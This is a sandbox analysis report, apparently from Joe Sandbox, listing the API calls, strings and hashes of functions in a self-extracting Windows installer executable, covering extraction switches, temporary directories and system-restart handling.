Associated: 00000002.00000002.2633033603.000000000101E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: File$ByteCharMultiWide$HeapRead$AllocEnvironmentPointerVariable$AllocateCloseCreateHandle
String ID: PE
API String ID: 1909040894-4258593460
Opcode ID: 7a117e422b0a1a894acefd9d8880e513f77c58c962ccde61173d9d4eb82a6e9e
Instruction ID: bf8ad80c2da08c31ae0c339a365434081412969bf7389dda4636a4a9dec36aeb
Opcode Fuzzy Hash: 7a117e422b0a1a894acefd9d8880e513f77c58c962ccde61173d9d4eb82a6e9e
Instruction Fuzzy Hash: 55A15E71804128AFEB778B58CC85BE9FBB9FB14350F1481E9E689A6290DB714DC5CF60

Function 0100400D Relevance: 28.4, APIs: 8, Strings: 8, Instructions: 381
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\._cache_file.exe,00000104), ref: 01004025
GetCommandLineA.KERNEL32 ref: 01004060
GetFileAttributesA.KERNELBASE(To Directory:), ref: 01004223
_strnicmp.MSVCRT ref: 0100433B
_strnicmp.MSVCRT ref: 01004372
_strnicmp.MSVCRT ref: 01004450

Strings

passive, xrefs: 0100441E
quiet, xrefs: 010043EA
C:\Users\user\Desktop\._cache_file.exe, xrefs: 0100401D, 01004022, 01004055
Extracting File:, xrefs: 010040D6, 01004116, 01004190, 01004206
To Directory:, xrefs: 010041E1, 0100421E
extract, xrefs: 0100436C
extract:, xrefs: 01004335
integrate, xrefs: 0100444A

Memory Dump Source

Source File: 00000002.00000002.2632701460.0000000001002000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2632488291.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2632867734.000000000100C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2633033603.000000000101E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: _strnicmp$File$AttributesCommandLineModuleName
String ID: C:\Users\user\Desktop\._cache_file.exe$Extracting File:$To Directory:$extract$extract:$integrate$passive$quiet
API String ID: 3875041768-1987711336
Opcode ID: ac494798e5bc9b3b8e97eb29fcbcefb1249f91a18fa69446e7f113a224a58319
Instruction ID: ee85d7d4dc22db283b7cf7d6e356c1cdb43bb5f1116dac34ca54e1d5d0c69bec
Opcode Fuzzy Hash: ac494798e5bc9b3b8e97eb29fcbcefb1249f91a18fa69446e7f113a224a58319
Instruction Fuzzy Hash: C2D1F130A042859EFB678B6C98583FA7FE1AB42308F4A41D4DBC1DB2CACB754546C75A

Function 010028D9 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000000), ref: 01002901
SetErrorMode.KERNELBASE(00000000), ref: 0100290D
GetTickCount.KERNEL32 ref: 0100290F
sprintf.MSVCRT ref: 01002937
CreateDirectoryA.KERNELBASE(?,00000000), ref: 0100294A
GetLastError.KERNEL32 ref: 01002954
RemoveDirectoryA.KERNELBASE(?), ref: 0100297C
MoveFileExA.KERNEL32(?,00000000,00000004(MOVEFILE_DELAY_UNTIL_REBOOT)), ref: 01002990
SetErrorMode.KERNELBASE(?), ref: 010029A6

Strings

%s_%06u_, xrefs: 01002931

Memory Dump Source

Source File: 00000002.00000002.2632701460.0000000001002000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2632488291.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2632867734.000000000100C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2633033603.000000000101E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: Error$Mode$Directory$CountCreateFileLastMoveRemoveTicksprintf
String ID: %s_%06u_
API String ID: 2138407651-2224866286
Opcode ID: 605b290757ffbc819f70990fed8fb14aff114087cd0563a7a2d4703900c9114f
Instruction ID: 2b5bf619bf93649879f906ab2fef4dd1de3e953bea1c10fa8e68832a185b186a
Opcode Fuzzy Hash: 605b290757ffbc819f70990fed8fb14aff114087cd0563a7a2d4703900c9114f
Instruction Fuzzy Hash: AC2162719002189BEB22DB64CC4DBDA77BEEB54341F0040A6E685E2181D7B99A84CFA1

Function 010037BF Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 64
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetEnvironmentVariableA.KERNEL32(_SFX_CAB_SHUTDOWN_REQUEST,00000000,00000000), ref: 010037CF
CreateFileA.KERNELBASE(c:\36a8a8e2fed651ec27d1eed188bb35\$shtdwn$.req,C0000000,00000003,00000000,00000001,04000002,00000000), ref: 01003804
WriteFile.KERNELBASE(00000000,Sdwn,00000314,?,00000000), ref: 01003858
SetEnvironmentVariableA.KERNEL32(_SFX_CAB_SHUTDOWN_REQUEST,c:\36a8a8e2fed651ec27d1eed188bb35\$shtdwn$.req), ref: 0100386E
CloseHandle.KERNEL32 ref: 0100387C

Strings

$shtdwn$.req, xrefs: 010037E4
c:\36a8a8e2fed651ec27d1eed188bb35\$shtdwn$.req, xrefs: 010037DE, 010037E3, 01003803, 01003868
Sdwn, xrefs: 0100381A, 01003838
c:\36a8a8e2fed651ec27d1eed188bb35, xrefs: 010037E9
_SFX_CAB_SHUTDOWN_REQUEST, xrefs: 010037CA, 01003869

Memory Dump Source

Source File: 00000002.00000002.2632701460.0000000001002000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2632488291.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2632867734.000000000100C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2633033603.000000000101E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: EnvironmentFileVariable$CloseCreateHandleWrite
String ID: $shtdwn$.req$Sdwn$_SFX_CAB_SHUTDOWN_REQUEST$c:\36a8a8e2fed651ec27d1eed188bb35$c:\36a8a8e2fed651ec27d1eed188bb35\$shtdwn$.req
API String ID: 510931695-3818779472
Opcode ID: 74f9ad3b8f2023380f4faa6e9c0d97565d17dc7302695f93730564ca81c6b899
Instruction ID: b0220b2b77477a676319b82448efaae5af67ee2cc9e6961861700f30aa540367
Opcode Fuzzy Hash: 74f9ad3b8f2023380f4faa6e9c0d97565d17dc7302695f93730564ca81c6b899
Instruction Fuzzy Hash: C8116D71604340ABF7338B9AAD4DF473AA9F786764F1043A9F1C1A61C8D7765641C770

Function 010063FF Relevance: 13.6, APIs: 9, Instructions: 87
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__set_app_type.MSVCRT ref: 01006474
__p__fmode.MSVCRT ref: 01006489
__p__commode.MSVCRT ref: 01006497
__setusermatherr.MSVCRT ref: 010064C4
_initterm.MSVCRT ref: 010064DA
__getmainargs.MSVCRT ref: 010064FD
_initterm.MSVCRT ref: 01006510
exit.MSVCRT ref: 0100653D
_cexit.MSVCRT ref: 01006543

Memory Dump Source

Source File: 00000002.00000002.2632701460.0000000001002000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2632488291.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2632867734.000000000100C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2633033603.000000000101E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: _initterm$__getmainargs__p__commode__p__fmode__set_app_type__setusermatherr_cexitexit
String ID:
API String ID: 1729372338-0
Opcode ID: 6af886278659cd1f87929ba10df1e95ca34e58862df1f3af71c4c3f27de72d1c
Instruction ID: 599c4623493fcb82760b158fed09b41a5123095cb67496b16860643f61b92bca
Opcode Fuzzy Hash: 6af886278659cd1f87929ba10df1e95ca34e58862df1f3af71c4c3f27de72d1c
Instruction Fuzzy Hash: 3B315874940205DFEB27DFA4D44CAEC77B2FB18312F10816AF196A62D8DB3B4A54CB21

Function 01003C0F Relevance: 3.0, APIs: 2, Instructions: 26
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,80000000,00000003,00000000,00000003,08000000,00000000), ref: 01003C2A
SetFilePointer.KERNELBASE(00000000,00000000,00000000), ref: 01003C48

Part of subcall function 01003892: GetLastError.KERNEL32 ref: 010038A6
Part of subcall function 01003892: LoadStringA.USER32(20000003,?,00000080,?), ref: 010038ED
Part of subcall function 01003892: MessageBoxA.USER32(?,00000000,00010010), ref: 01003909
Part of subcall function 01003892: DeleteCriticalSection.KERNEL32(0100D060), ref: 01003927
Part of subcall function 01003892: ExitProcess.KERNEL32 ref: 01003935

Memory Dump Source

Source File: 00000002.00000002.2632701460.0000000001002000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2632488291.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2632867734.000000000100C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2633033603.000000000101E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: File$CreateCriticalDeleteErrorExitLastLoadMessagePointerProcessSectionString
String ID:
API String ID: 1911058658-0
Opcode ID: 3db09fa30688c6ade57452f90a721c5f0e3047f88a1d14363bbe33cf621a1cff
Instruction ID: f747d1a96e7ed0c96837ae8def0cda9aa80c9c8a6c6ac268114b6baa7651c347
Opcode Fuzzy Hash: 3db09fa30688c6ade57452f90a721c5f0e3047f88a1d14363bbe33cf621a1cff
Instruction Fuzzy Hash: 8EE086313803247BF5332669AC0EF8579099701B71F204251FB58BA1C0C6A56A40C798

Function 01003C87 Relevance: 1.5, APIs: 1, Instructions: 47
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNELBASE(DADAFEED,?,?,?,00000000), ref: 01003CEB

Memory Dump Source

Source File: 00000002.00000002.2632701460.0000000001002000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2632488291.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2632867734.000000000100C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2633033603.000000000101E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 64d857ce796dace06822de0efcd78285d4c1ff5c9f778fdfecebaa5c7ebed988
Instruction ID: 8ed4801c38d92fe31a950a2119f22d7affeb1643a363de039ab70ebeba9e11e9
Opcode Fuzzy Hash: 64d857ce796dace06822de0efcd78285d4c1ff5c9f778fdfecebaa5c7ebed988
Instruction Fuzzy Hash: 60012C3120024DAFDB12CFADD800AEA77E9FB58320F448969FA68C7190D779D951CB50

Function 01004590 Relevance: 1.5, APIs: 1, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryA.KERNELBASE(?,?), ref: 010045B8

Memory Dump Source

Source File: 00000002.00000002.2632701460.0000000001002000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2632488291.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2632867734.000000000100C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2633033603.000000000101E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: CreateDirectory
String ID:
API String ID: 4241100979-0
Opcode ID: a9c93d86d7b1e126657db29aee2ea8a09b01b806f2212d3dabd863b7a028eda3
Instruction ID: 9cc6a4ee66b41767d7bcf1e787c71929ede8fd294d86324cd45e64105ddf3fa1
Opcode Fuzzy Hash: a9c93d86d7b1e126657db29aee2ea8a09b01b806f2212d3dabd863b7a028eda3
Instruction Fuzzy Hash: 7CF0B431500385AEFB334F29C804BAABFD89F91751F28809DFAC4CA582D7B58590C7A5

Function 01003C58 Relevance: 1.5, APIs: 1, Instructions: 17
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNELBASE(?,?,?,?,00000000), ref: 01003C6C

Part of subcall function 01003892: GetLastError.KERNEL32 ref: 010038A6
Part of subcall function 01003892: LoadStringA.USER32(20000003,?,00000080,?), ref: 010038ED
Part of subcall function 01003892: MessageBoxA.USER32(?,00000000,00010010), ref: 01003909
Part of subcall function 01003892: DeleteCriticalSection.KERNEL32(0100D060), ref: 01003927
Part of subcall function 01003892: ExitProcess.KERNEL32 ref: 01003935

Memory Dump Source

Source File: 00000002.00000002.2632701460.0000000001002000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2632488291.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2632867734.000000000100C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2633033603.000000000101E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: CriticalDeleteErrorExitFileLastLoadMessageProcessReadSectionString
String ID:
API String ID: 896096512-0
Opcode ID: c5cd25c055f1176644a0d9d6a050eae1adbf6e77802f162c6b8565da1953186c
Instruction ID: b5e608f67cd8aa0ec7224ba8d194bf05f248ddf814a44386e79e7048d07bb6a0
Opcode Fuzzy Hash: c5cd25c055f1176644a0d9d6a050eae1adbf6e77802f162c6b8565da1953186c
Instruction Fuzzy Hash: EED0173210034DBFDF129E95CC08EAA3B6DFF44220F084514BA7889090D732D520CB51

Function 01002C7C Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,?,00000000,00000000), ref: 01002C9B

Memory Dump Source

Source File: 00000002.00000002.2632701460.0000000001002000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2632488291.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2632867734.000000000100C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2633033603.000000000101E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: d8d5cd754932263745f338520652626db3bdb25572505ccd5790d85f059cf7dc
Instruction ID: 4670c305a0b7d71b77fc1b6fc64dcd010d39b6e931a86f05cad5b7c8d19ffb63
Opcode Fuzzy Hash: d8d5cd754932263745f338520652626db3bdb25572505ccd5790d85f059cf7dc
Instruction Fuzzy Hash: 8CD01731100208AFEB22CF48DD09FAA7BA9FB40314F058254F99C86195C776A9A4DB80

Function 01003BE7 Relevance: 1.5, APIs: 1, Instructions: 13memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?), ref: 01003BF7

Part of subcall function 01003892: GetLastError.KERNEL32 ref: 010038A6
Part of subcall function 01003892: LoadStringA.USER32(20000003,?,00000080,?), ref: 010038ED
Part of subcall function 01003892: MessageBoxA.USER32(?,00000000,00010010), ref: 01003909
Part of subcall function 01003892: DeleteCriticalSection.KERNEL32(0100D060), ref: 01003927
Part of subcall function 01003892: ExitProcess.KERNEL32 ref: 01003935

Memory Dump Source

Source File: 00000002.00000002.2632701460.0000000001002000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2632488291.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2632867734.000000000100C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2633033603.000000000101E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: AllocateCriticalDeleteErrorExitHeapLastLoadMessageProcessSectionString
String ID:
API String ID: 2723237252-0
Opcode ID: d29ed06aef175119988cce3a01b5eac88403f80cc4c048d63e3ca06fa13aed40
Instruction ID: ad55088b63a8ad1721269f3b50eb0db26e9cccda6a3b5370c978a76dbeb461c3
Opcode Fuzzy Hash: d29ed06aef175119988cce3a01b5eac88403f80cc4c048d63e3ca06fa13aed40
Instruction Fuzzy Hash: E4C012311803087BFA631BAAAC09F553F59B790651F04C051F68C4C090DA62A4555750

Function 01003941 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

DialogBoxParamA.USER32(00000064,00000000,01002E53,00000000), ref: 01003952

Part of subcall function 01003892: GetLastError.KERNEL32 ref: 010038A6
Part of subcall function 01003892: LoadStringA.USER32(20000003,?,00000080,?), ref: 010038ED
Part of subcall function 01003892: MessageBoxA.USER32(?,00000000,00010010), ref: 01003909
Part of subcall function 01003892: DeleteCriticalSection.KERNEL32(0100D060), ref: 01003927
Part of subcall function 01003892: ExitProcess.KERNEL32 ref: 01003935

Memory Dump Source

Source File: 00000002.00000002.2632701460.0000000001002000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2632488291.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2632867734.000000000100C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2633033603.000000000101E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: CriticalDeleteDialogErrorExitLastLoadMessageParamProcessSectionString
String ID:
API String ID: 372479490-0
Opcode ID: 15e03c84a8a15e18858af6215931239894f471006d1615df1c756c50269ef313
Instruction ID: a510406ee53e3107ecf5958c8e1665ca229ba3e50066fc7eea34c27700789f19
Opcode Fuzzy Hash: 15e03c84a8a15e18858af6215931239894f471006d1615df1c756c50269ef313
Instruction Fuzzy Hash: 18D01231280340AAF6335724AE0AF5237A07720B2AF24839173E17C0D4C6EA4820CB68

Non-executed Functions

Function 01003972 Relevance: 49.2, APIs: 20, Strings: 8, Instructions: 178synchronizationlibraryshutdownCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(00100000,00000000,WFP_IDLE_TRIGGER), ref: 010039AD

Part of subcall function 0100346E: CloseHandle.KERNEL32(FFFFFFFF,?,?,?,010038D5,?,?,00000200,?), ref: 0100348A
Part of subcall function 0100346E: CreateFileA.KERNEL32(0100CD00,C0000000,00000003,00000000,00000003,00000080,00000000,?,?,?,010038D5,?,?,00000200,?), ref: 010034B4
Part of subcall function 0100346E: CloseHandle.KERNEL32(FFFFFFFF,?,?,?,010038D5,?,?,00000200,?), ref: 010034DE

WaitForSingleObject.KERNEL32(00000000,0000EA60,Shutdown Initiated in Self Extractor ), ref: 010039C9
CloseHandle.KERNEL32(00000000), ref: 010039D0
Sleep.KERNEL32(00002710,Shutdown Initiated in Self Extractor ), ref: 010039E9
LoadLibraryA.KERNEL32(advapi32.dll), ref: 01003A1F
GetProcAddress.KERNEL32(00000000,InitiateSystemShutdownExA), ref: 01003A35
WaitForSingleObject.KERNEL32(00000000), ref: 01003A48
InitiateSystemShutdownA.ADVAPI32(00000000,00000000,00000000,?,?), ref: 01003A8B
GetLastError.KERNEL32 ref: 01003A9B
WaitForSingleObject.KERNEL32(00000BB8), ref: 01003ABB
GetLastError.KERNEL32 ref: 01003ACD
GetVersionExA.KERNEL32(?,?), ref: 01003B0C
GetVersionExA.KERNEL32(00000094), ref: 01003B2C
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 01003B43
strchr.MSVCRT ref: 01003B56
CreateFileA.KERNEL32(?,C0000000,00000007,00000000,00000003,02000000,00000000), ref: 01003B78
FlushFileBuffers.KERNEL32(00000000), ref: 01003B86
CloseHandle.KERNEL32(00000000), ref: 01003B8F
NtShutdownSystem.NTDLL ref: 01003B9B
FreeLibrary.KERNEL32(?), ref: 01003BB2

Strings

ShutdownSystem: Failed , xrefs: 01003BC8
InitiateSystemShutdown() Failed with error 0x%lx , xrefs: 01003AD0
InitiateSystemShutdownExA, xrefs: 01003A2F
advapi32.dll, xrefs: 01003A1A
Failed to Adjust ENABLE_PRIVILEGE , xrefs: 01003A09
@, xrefs: 01003B2E
Shutdown Initiated in Self Extractor , xrefs: 010039B3
WFP_IDLE_TRIGGER, xrefs: 01003984

Memory Dump Source

Source File: 00000002.00000002.2632701460.0000000001002000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2632488291.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2632867734.000000000100C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2633033603.000000000101E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: CloseHandle$FileObjectSingleSystemWait$CreateErrorLastLibraryShutdownVersion$AddressBuffersDirectoryEventFlushFreeInitiateLoadOpenProcSleepstrchr
String ID: @$Failed to Adjust ENABLE_PRIVILEGE $InitiateSystemShutdown() Failed with error 0x%lx $InitiateSystemShutdownExA$Shutdown Initiated in Self Extractor $ShutdownSystem: Failed $WFP_IDLE_TRIGGER$advapi32.dll
API String ID: 2638087656-3676156507
Opcode ID: 7a1c7a1b907803973f12d1bf947b1ffc3077485c6b2b2eb9657761a4e00d1aa0
Instruction ID: ea525c0ef0f58f0b04cd7f7f13f08e90f611286073571a1279888c73dc215274
Opcode Fuzzy Hash: 7a1c7a1b907803973f12d1bf947b1ffc3077485c6b2b2eb9657761a4e00d1aa0
Instruction Fuzzy Hash: D4517275900219AFFB73AB64DC8DEDE7BB9BB05304F0101A5F6C9AA081DB758A808B51

Function 0100358B Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 40nativeCOMMON

Download Yara Rule

APIs

NtOpenProcessToken.NTDLL(000000FF,00000028,?), ref: 010035A1
NtAdjustPrivilegesToken.NTDLL(?,00000000,?,00000000,00000000,00000000), ref: 010035C1
NtClose.NTDLL ref: 010035CE

Part of subcall function 0100346E: CloseHandle.KERNEL32(FFFFFFFF,?,?,?,010038D5,?,?,00000200,?), ref: 0100348A
Part of subcall function 0100346E: CreateFileA.KERNEL32(0100CD00,C0000000,00000003,00000000,00000003,00000080,00000000,?,?,?,010038D5,?,?,00000200,?), ref: 010034B4
Part of subcall function 0100346E: CloseHandle.KERNEL32(FFFFFFFF,?,?,?,010038D5,?,?,00000200,?), ref: 010034DE

Strings

RestorePrivilege(): Failed To Restore Privilege , xrefs: 010035D9
RestorePrivilege():Failed To Open Process Token, xrefs: 010035AB

Memory Dump Source

Source File: 00000002.00000002.2632701460.0000000001002000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2632488291.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2632867734.000000000100C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2633033603.000000000101E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: Close$HandleToken$AdjustCreateFileOpenPrivilegesProcess
String ID: RestorePrivilege(): Failed To Restore Privilege $RestorePrivilege():Failed To Open Process Token
API String ID: 1340415033-792189412
Opcode ID: b8a0502ae2661f499545ef8694a518087c712bcdc019db68534c528b41fb345f
Instruction ID: 6003aa7cc984a04d304c8d02ce76eb40705ba2f6e4c4443cd9f7ac574e901191
Opcode Fuzzy Hash: b8a0502ae2661f499545ef8694a518087c712bcdc019db68534c528b41fb345f
Instruction Fuzzy Hash: DAF06235101119FFEB636BA28E0EDDF7EACEF16655F114020B695980A0D732CB00E7A1

Function 010034F4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55nativeCOMMON

Download Yara Rule

APIs

NtOpenProcessToken.NTDLL(000000FF,00000028,?), ref: 0100352E
NtAdjustPrivilegesToken.NTDLL(?,00000000,00000000,00000000,00000000,?), ref: 01003561
NtClose.NTDLL ref: 0100356E
NtClose.NTDLL ref: 01003579

Strings

NtOpenProcessToken Failed , xrefs: 01003538

Memory Dump Source

Source File: 00000002.00000002.2632701460.0000000001002000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2632488291.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2632867734.000000000100C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2633033603.000000000101E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: CloseToken$AdjustOpenPrivilegesProcess
String ID: NtOpenProcessToken Failed
API String ID: 2239692276-916547032
Opcode ID: a2bb500f86ff3c270a923705cdf631df0a80daa1bbf9043a241c06063efd5071
Instruction ID: 86087f3b1aaf02d6297fc597292e47099355ceb0a226902c4fcc6e84a4753d95
Opcode Fuzzy Hash: a2bb500f86ff3c270a923705cdf631df0a80daa1bbf9043a241c06063efd5071
Instruction Fuzzy Hash: E311A07590010AAFEB13DFA8C908BEE7BA8FB04305F008125B9A5DE090D372D5009B91

Function 010062FF Relevance: 6.1, APIs: 4, Instructions: 55COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 010063CE
UnhandledExceptionFilter.KERNEL32(010025D8), ref: 010063D9
GetCurrentProcess.KERNEL32(C0000409), ref: 010063EA
TerminateProcess.KERNEL32(00000000), ref: 010063F1

Memory Dump Source

Source File: 00000002.00000002.2632701460.0000000001002000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2632488291.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2632867734.000000000100C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2633033603.000000000101E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentTerminate
String ID:
API String ID: 3231755760-0
Opcode ID: 4382b4dedff7cdd383e5e3d049ffc534270b9df7dca4059a9d9760ad3e466a85
Instruction ID: 79cc3565e310fce42bdb6c08305b060dbc1bc5133d3f3caeb000c08a82c4a438
Opcode Fuzzy Hash: 4382b4dedff7cdd383e5e3d049ffc534270b9df7dca4059a9d9760ad3e466a85
Instruction Fuzzy Hash: 6C2102B4804200DBF727CF69E2586947BB0FB4A300F50839AF18987398E77A0585CF45

Function 01008906 Relevance: .3, Instructions: 303COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2632701460.0000000001002000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2632488291.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2632867734.000000000100C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2633033603.000000000101E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7cdeacfce3809adc947609343e590c714e8a037b83f6e872e5a04b82d6d4fe78
Instruction ID: 5536dabd8291dbeda9af35510c629b429d179083cdfcac66a6f3fcb092366832
Opcode Fuzzy Hash: 7cdeacfce3809adc947609343e590c714e8a037b83f6e872e5a04b82d6d4fe78
Instruction Fuzzy Hash: 40C18531D096999BEB0BCF68C0947EDBFB0BF05314F18C5AAC8D6AB682D3755585CB80

Function 01008CC5 Relevance: .3, Instructions: 294COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2632701460.0000000001002000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2632488291.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2632867734.000000000100C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2633033603.000000000101E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79354d64886fc410c0814f504bfd9b30afd0e7d4cac24f3c7e689a98db7d4def
